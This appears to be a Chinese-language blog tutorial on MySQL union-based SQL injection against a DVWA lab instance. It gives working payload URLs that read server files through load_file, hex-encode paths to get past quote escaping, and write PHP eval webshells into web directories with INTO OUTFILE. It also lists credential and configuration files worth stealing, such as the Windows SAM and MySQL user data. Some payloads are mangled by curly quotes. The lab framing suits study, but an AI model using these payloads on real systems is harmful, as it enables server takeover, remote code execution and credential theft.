使用into outfile需要有以下条件:
1、需要知道远程目录
2、需要远程目录有写权限
3、需要数据库开启secure_file_priv进行读写操作
数据库开启secure_file_priv
into outfile 可以将select的结果写入到指定目录的txt中,但需要数据库开启secure_file_priv,怎么开启secure_file_priv。
在mysql安装目录的my.ini文件中的[mysqld]添加secure_file_priv = ' ';然后以管理员身份运行cmd,进入mysql/bin停止mysql服务net stop mysql,重新启动mysql服务net start mysql,登入mysql mysql -u root -p enter password: password,执行命令show variables like '%secure%';查看secure_file_priv的值(这里已经将secure_file_priv的值设为空,但正常显示为NULL和文件路径),显示以下界面说明可以对服务器进行读写操作。
下面通过联合查询对服务器进行读写操作
使用联合查询语句构造,利用注入读取/ect/passwd 文件(linux系统)
‘UNION SELECT 1, load_file(/etc/passwd) +–+
使用联合查询语句构造,利用注入读取c:\1.txt (Windows系统)
‘ UNION SELECT 1, load_file(‘c:\1.txt’) +–+ 或者
‘ union select 1, load_file(‘c:/1.txt’) +–+
注: “\”(编程里面""转义)
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file('c:\boot.ini')+--+&Submit=Submit
如果出现以下情况:
Query Errot:SELECT CID,TITLE FROM CMS_CONTENTINDEX WHERE TID=25950\’AND 1=2 UNION SELECT LOAD_FILE(’C:\BOOT.INI\’),2
显然,在“php.ini"配置文件中magic_quotes_gpc为on或在接受参数的时候用了addslashes()涵数,单引号就会被自动转义成',因此函数未能正确执行功能.要绕开此过滤,可将c:\boot.ini转换成十六进制,转换后为:0x633A5C5C626F6F742E696E69.再提交如下链接。
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit
或http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1 and 1=2 union select 1,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit
如果想对服务器进行写操作,直接用下用这条语句进行操作:
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%20'568311803',2 into outfile 'c:/muma.txt'+--+&Submit=Submit
写个一句话试试:
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%200x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.txt'+--+&Submit=Submit
为什么要把一句话木马转化为十六进制,因为一句话木马里面也有单引号,再用单引号引起来会容易造成混淆。所以得出结论:如果用编码就不要用单引号,用单引号就不要用编码。
获取web路径方法
%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit //路径记得转化为十六进制
常见WINDOWS下配置文件:
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
服务器读取文件
union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit
写webshell获取权限
union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit
获取webshell
利用sql注入写入webshell
假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.写入需要你有写入权限等。
‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+ //这种反斜找扛/本地没测试,大家测试一下,推见大家用两个反\方法,例如:
http://192.168.0.105:8080/dvwa/vulnerabilities/sqli/?id=1' union select "<?php @eval($_POST['chopper']);?>",2 into outfile "c:\php\htdocs\dvwa\123.php"+--+&Submit=Submit
网友评论